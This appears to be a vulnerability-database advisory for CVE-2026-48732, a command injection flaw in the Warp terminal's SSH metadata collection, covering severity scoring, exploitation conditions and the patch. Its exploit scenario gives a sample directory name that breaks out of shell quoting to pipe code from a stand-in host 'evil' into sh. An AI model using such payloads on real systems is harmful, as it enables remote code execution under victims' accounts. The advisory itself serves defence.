Skip to main content

Warp CVE-2026-48732

| EUVDEUVD-2026-39014 HIGH
OS Command Injection (CWE-78)
2026-06-24 GitHub_M
8.8
CVSS 3.1 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker controls remote SSH host or directory naming
  2. Delivery
    Plant malicious directory/repo name with embedded quote
  3. Exploit
    Victim opens SSH-backed Warp session
  4. Execution
    Warp builds cd/cat helper with unescaped path
  5. Persist
    Quote breakout injects shell syntax
  6. Impact
    Commands execute as victim's SSH account

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the victim to use Warp's legacy SSH background command path for remote metadata collection against a host where the attacker controls the reported remote working directory, repository, or directory name, and that name must contain shell-breakout characters such as a single quote (e.g. /tmp/x'; touch /tmp/marker; echo '). The victim must initiate or maintain the SSH session (CVSS UI:R), and the affected Warp version must be in the range 0.2023.03.21.08.02.stable_00 through anything before 0.2026.05.06.15.42.stable_01. Limiting factors that reduce realistic risk: it only triggers on the legacy SSH path (not local-only use), it depends on attacker influence over remote-side naming, the injected command runs only with the victim's existing SSH privileges on that remote host, and it is not automatable without victim-driven connection.

Impact

The CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H yields 8.8 (High): network reachable, low complexity, no attacker privileges, but user interaction is required because the victim must connect Warp to a remote host whose directory/repo names the attacker influences. There is an important nuance the raw score hides - the injected command executes on the remote host as the victim's already-authenticated SSH account, so the practical impact is privilege misuse/lateral movement within sessions the victim was already entering, not a fresh foothold on the victim's local workstation; security teams should weigh that scoping. No EPSS or KEV data was provided, and no public exploit was identified, so this is a real-but-conditional priority rather than mass-exploitation: it requires the victim to operate the legacy SSH path against an attacker-controlled or compromised host. SSVC framing: exploitation = none observed, automatable = no (requires victim-initiated SSH connection), technical impact = total on the targeted remote account.

Exploit ScenarioDerived

An attacker who controls a remote host (or can influence directory/repository names on a host the victim accesses) names a working directory something like /tmp/x'; curl http://evil/x | sh; echo '. When the victim opens or operates an SSH-backed Warp session and Warp collects metadata, it builds cd '<dir>' && ... / cat <histfile>, the embedded quote breaks out, and the injected commands execute as the victim's authenticated SSH account on that host. No public PoC is identified, but the fix commit's regression tests show the precise breakout primitive.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 1.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 24, 2026

Command injection in Warp's legacy SSH background command path lets an attacker-controlled remote host inject shell syntax that runs as the victim's authenticated SSH account. Affecting Warp from 0.2023.03.21.08.02.stable_00 up to (but not including) 0.2026.05.06.15.42.stable_01, the flaw stems from the terminal trusting the remote working directory, repository, or directory name reported by an SSH session when assembling helper commands for metadata collection. No public exploit identified at time of analysis, though the fix commit ships regression tests that demonstrate the breakout; not listed in CISA KEV and no EPSS provided.

RemediationAI

Vendor-released patch: 0.2026.05.06.15.42.stable_01 - upgrade Warp to this version or later, which adds shell-aware single-quote escaping (shell_escape_single_quotes) around remote paths. There is no documented in-product configuration flag to fully disable the legacy SSH metadata-collection path, so the upgrade is the authoritative fix; as interim compensating controls, avoid using Warp's SSH integration to connect to untrusted or attacker-influenced hosts and avoid navigating into or cloning repositories with unusual directory names (e.g. containing single quotes or shell metacharacters) during SSH sessions, accepting the trade-off that this curtails normal remote-workflow convenience. Review the advisory (https://github.com/warpdotdev/warp/security/advisories/GHSA-qqpc-wvvw-4269) and commit (https://github.com/warpdotdev/warp/commit/88c344e2de662a935f0ef0896458494ef2413add) for exact behavior; do not rely on directory-name hygiene as a durable control since enforcement is hard to guarantee on remote hosts.

Affected VersionsENISA

WARP 0.2023.03.21.08.02.stable_00, < 0.2026.05.13.09.15.stable_01

Affected Packages

euvd warp_0_2023_03_21_08_02_stable_00 fix: 0.2026.05.13.09.15.stable_01

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Warp is an agentic, Rust-based terminal/development environment. The bug lives in its remote command executor (app/src/terminal/model/session/command_executor/remote_command_executor.rs) and history reader (session.rs), which build helper shell commands such as cd '{current_directory_path}' && ... and cat {history_file} for SSH-backed metadata collection. Because the working-directory/history-file path was interpolated into a single-quoted shell string without escaping, an embedded single quote closes the quote and lets following characters be parsed as shell syntax - the classic CWE-78 OS Command Injection root cause. The fix introduces shell_escape_single_quotes() (shell-aware for Bash, Zsh, Fish, PowerShell) so embedded quotes are neutralized as literal text. Per CPE cpe:2.3:a:warpdotdev:warp:*, all platform builds of the Warp app in the affected range are in scope.

Know when Warp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.8 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 8.8 HIGH

Network-reachable and low-complexity with no attacker privileges, but the victim must connect an SSH session (UI:R); injected commands run with full read/write/destructive capability as the victim's remote account.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
Patch available
Jun 24, 2026 - 19:17 EUVD

DescriptionCVE.org

Warp is an agentic development environment. From 0.2023.03.21.08.02.stable_00 until 0.2026.05.06.15.42.stable_01, Warp contains a command injection issue in the legacy SSH background command path. Warp used the remote working directory reported by the session when building helper commands for SSH-backed metadata collection. A remote host, repository, or directory name controlled by an attacker could cause that helper command to execute additional shell syntax on the remote host as the victim's authenticated SSH account. This vulnerability is fixed in 0.2026.05.06.15.42.stable_01.

Executive ViewAI

Why It Matters

Warp SSH terminal users face command injection attacks when connecting to attacker-controlled servers, enabling unauthorized command execution under their authenticated credentials with CVSS 8.8 severity. This directly impacts developers and system administrators who depend on Warp for secure shell access, creating lateral movement and data theft risk across connected systems. Vendor patch 0.2026.05.06.15.42.stable_01 is available; immediate deployment across all deployments is required.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
1.0%
Top 41% exploitable
Prevalence
Medium
popular developer terminal/IDE, sizable but not enterprise-ubiquitous footprint
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 1.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

45
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

More in Warp

View all
CVE-2022-3320 CRITICAL
9.8 Oct 28

It was possible to bypass policies configured for Zero Trust Secure Web Gateway by using warp-cli 'set-custom-endpoint'

CVE-2026-48704 HIGH
8.8 Jun 24

Arbitrary code execution in the Warp agentic development environment (builds 0.2023.10.24.08.03.stable_00 through 0.2026

CVE-2026-48720 HIGH
8.8 Jun 24

Arbitrary local file write in Warp terminal (0.2025.03.05.08.02.stable_00 through builds before 0.2026.05.06.15.42.stabl

CVE-2022-3512 HIGH
8.8 Oct 28

Using warp-cli command "add-trusted-ssid", a user was able to disconnect WARP client and bypass the "Lock WARP switch" f

CVE-2026-48721 HIGH
8.6 Jun 24

Command-execution permission bypass in Warp's default unsandboxed CLI agent profile (versions 0.2025.10.08.08.12.stable_

CVE-2026-48719 HIGH
8.0 Jun 24

Command injection in Warp's prompt branch-selector chip lets a crafted Git branch name execute in the victim's shell whe

CVE-2026-48725 HIGH
8.1 Jun 24

Clipboard hijacking in the Warp agentic terminal (versions 0.2021.04.25.23.05.stable_00 through 0.2026.05.06.15.42.stabl

CVE-2026-48731 HIGH
7.8 Jun 24

Command injection in the Warp agentic development environment (Linux builds 0.2024.02.20.08.01.stable_01 through pre-0.2

CVE-2026-48703 HIGH
7.8 Jun 24

OS command injection in Warp's AI Agent code-search tooling allows attacker-controlled inputs to escape read-only search

CVE-2023-0652 HIGH
7.8 Apr 06

Due to a hardlink created in the ProgramData folder during the repair process of the software, the installer (MSI) of WA

CVE-2023-1412 HIGH
7.8 Apr 05

An unprivileged (non-admin) user can exploit an Improper Access Control vulnerability in the Cloudflare WARP Client for

CVE-2022-2225 HIGH
7.8 Jul 26

By using warp-cli subcommands (disable-ethernet, disable-wifi), it was possible for a user without admin privileges to b

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy